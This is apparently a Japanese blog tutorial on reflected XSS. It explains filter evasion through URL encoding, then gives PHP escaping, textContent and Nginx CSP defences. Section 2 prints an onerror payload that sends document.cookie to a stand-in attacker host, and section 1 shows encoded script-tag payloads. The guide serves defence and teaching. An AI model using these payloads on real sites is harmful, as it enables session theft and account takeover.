【実務・中級編】反射型XSS(Reflected XSS)の攻撃シーケンスとURLエンコーディングの重要性 – オフェンシブセキュリティ & リバースエンジニアリング防御ガイド

現場のエンジニアが陥る「反射型XSS」の罠と、泥臭い防衛戦術

やあ。今日もセキュアなコードを書いているか？

現場でコードレビューをしていると、未だに「ユーザーからの入力をそのまま画面に返す」という、セキュリティの初歩中の初歩で足元をすくわれるエンジニアを見かける。反射型XSS（Reflected XSS）は、攻撃手法としては古典的だが、現代のWebアプリケーションにおいても依然としてトップクラスの破壊力を持っている。

今日は、攻撃者がどのようにURLエンコーディングを駆使してWAFをすり抜け、ブラウザを意図的に誤認させるのか。そして、それを「なんとなくの対策」ではなく「物理的に不可能にする」ための実装論を叩き込む。

—

1. 攻撃者が狙う「コンテキストの盲点」

反射型XSSの基本的なシーケンスは単純だ。「悪意のあるスクリプトを含むクエリパラメータを投げ、サーバーがそれをそのままHTMLに埋め込んでレスポンスを返す」という流れだ。

例えば、以下のようなURLを想像してほしい。

https://example.com/search?q=<script>alert(document.cookie)</script>

もしサーバー側が q の値を受け取って、そのまま <div>検索結果: <?php echo $_GET['q']; ?></div> のように出力すれば、ブラウザは疑うことなくスクリプトを実行する。

だが、現実はこれほど甘くない。昨今のWAFやブラウザのXSS Auditor（現在は機能縮小傾向だが）は、単純な <script> タグを即座に弾く。そこで攻撃者は、URLエンコーディングとエンコーディングの多重化を駆使する。

なぜエンコーディングが重要なのか？

攻撃者は、フィルターを回避するために 16進数 や Unicodeエスケープ を悪用する。例えば、以下のようなペイロードだ。

%3cscript%3ealert(1)%3c/script%3e

これなら、特定のフィルタリングロジックをすり抜ける可能性がある。さらに、コンテキストがHTMLの中なのか、JavaScriptの変数の中なのか、CSSの中なのかによって、攻撃の「形」は自在に変わる。「何が出力されるか」ではなく、「ブラウザがそれをどう解釈するか」というコンテキストを支配することが攻撃者の真の狙いだ。

—

2. 破壊的なPoCの仕組み（実務的視点）

攻撃者が狙うのは単なるアラート表示ではない。セッションIDを盗み出し、管理者権限を乗っ取るのがゴールだ。

もし、Webアプリが javascript:alert(1) のような入力を許容している場合、攻撃者は onclick や onerror イベントを悪用して、以下のような文字列を注入する。

<img src=x onerror=fetch('https://attacker.com/log?c='+document.cookie)>

これをURLエンコードして送れば、WAFの単純なキーワードマッチングを回避しつつ、実行時にはブラウザが正当な画像読み込みエラーと判断してスクリプトを走らせる。これが「現場の泥臭い攻撃」の実態だ。

—

3. 【コピペ推奨】完全防御のための実装サンプル

XSSを防ぐ唯一かつ最強の武器は、「出力時のコンテキストに応じたエスケープ」だ。PHPで実装する場合、htmlspecialchars を使うのは大前提だが、オプションを適切に指定しなければ意味がない。

PHPでの安全な出力実装

<?php
// 安全な出力関数
function h($str) {
    // ENT_QUOTES: シングルクォートとダブルクォートの両方をエスケープする
    // 'UTF-8': 文字エンコーディングを明示的に指定
    return htmlspecialchars($str, ENT_QUOTES | ENT_HTML5, 'UTF-8');
}

// ユーザー入力の表示例
$query = $_GET['q'] ?? '';
?>

<!-- 出力時は必ずエスケープ関数を通す -->
<div>検索結果: <?php echo h($query); ?></div>

JavaScriptでDOMを操作する場合

innerHTML は禁忌だ。攻撃者がタグを注入する余地を与えてしまう。textContent を使えば、ブラウザは値を「ただの文字列」として扱い、スクリプト実行を物理的に不可能にする。

// 危険なコード（絶対禁止）
// element.innerHTML = userInput; 

// 安全なコード
const element = document.getElementById('result');
element.textContent = userInput; // これなら <script> もただの文字として表示される

—

4. インフラ・設定レベルでの防御（WAF/Nginx）

コードレベルでの修正が完了していることが前提だが、多層防御としてインフラ側の設定も重要だ。特に Content-Security-Policy (CSP) は、仮にコードに脆弱性が残っていたとしても、被害を最小限に抑える最強の盾となる。

NginxでのCSP設定例

# レスポンスヘッダーにCSPを追加し、インラインスクリプトを無効化する
add_header Content-Security-Policy "default-src 'self'; script-src 'self'; object-src 'none';";

default-src 'self' : 同一ドメインからのコンテンツのみ許可。
script-src 'self' : インラインスクリプトや外部の怪しいスクリプトの実行をブロック。
object-src 'none' : プラグイン経由の攻撃を防止。

—

最後に：セキュリティは「作法」である

XSS対策において最も危険なのは「これくらいなら大丈夫だろう」という慢心だ。攻撃者は常に「開発者の想定外」を探している。

入力値ではなく、出力値に焦点を当てること。
コンテキストを意識し、適切なエスケープ関数を選ぶこと。
ブラウザの機能を信頼せず、CSPで制約を課すこと。

この3つを徹底するだけで、君のアプリケーションは劇的に強固になる。技術は日々進化するが、攻撃者が突いてくる「人の隙」はいつの時代も変わらない。セキュアな設計は、コードの品質そのものだ。プロフェッショナルとして、常にその意識を高く持ってほしい。

何かあればいつでも相談してくれ。健闘を祈る。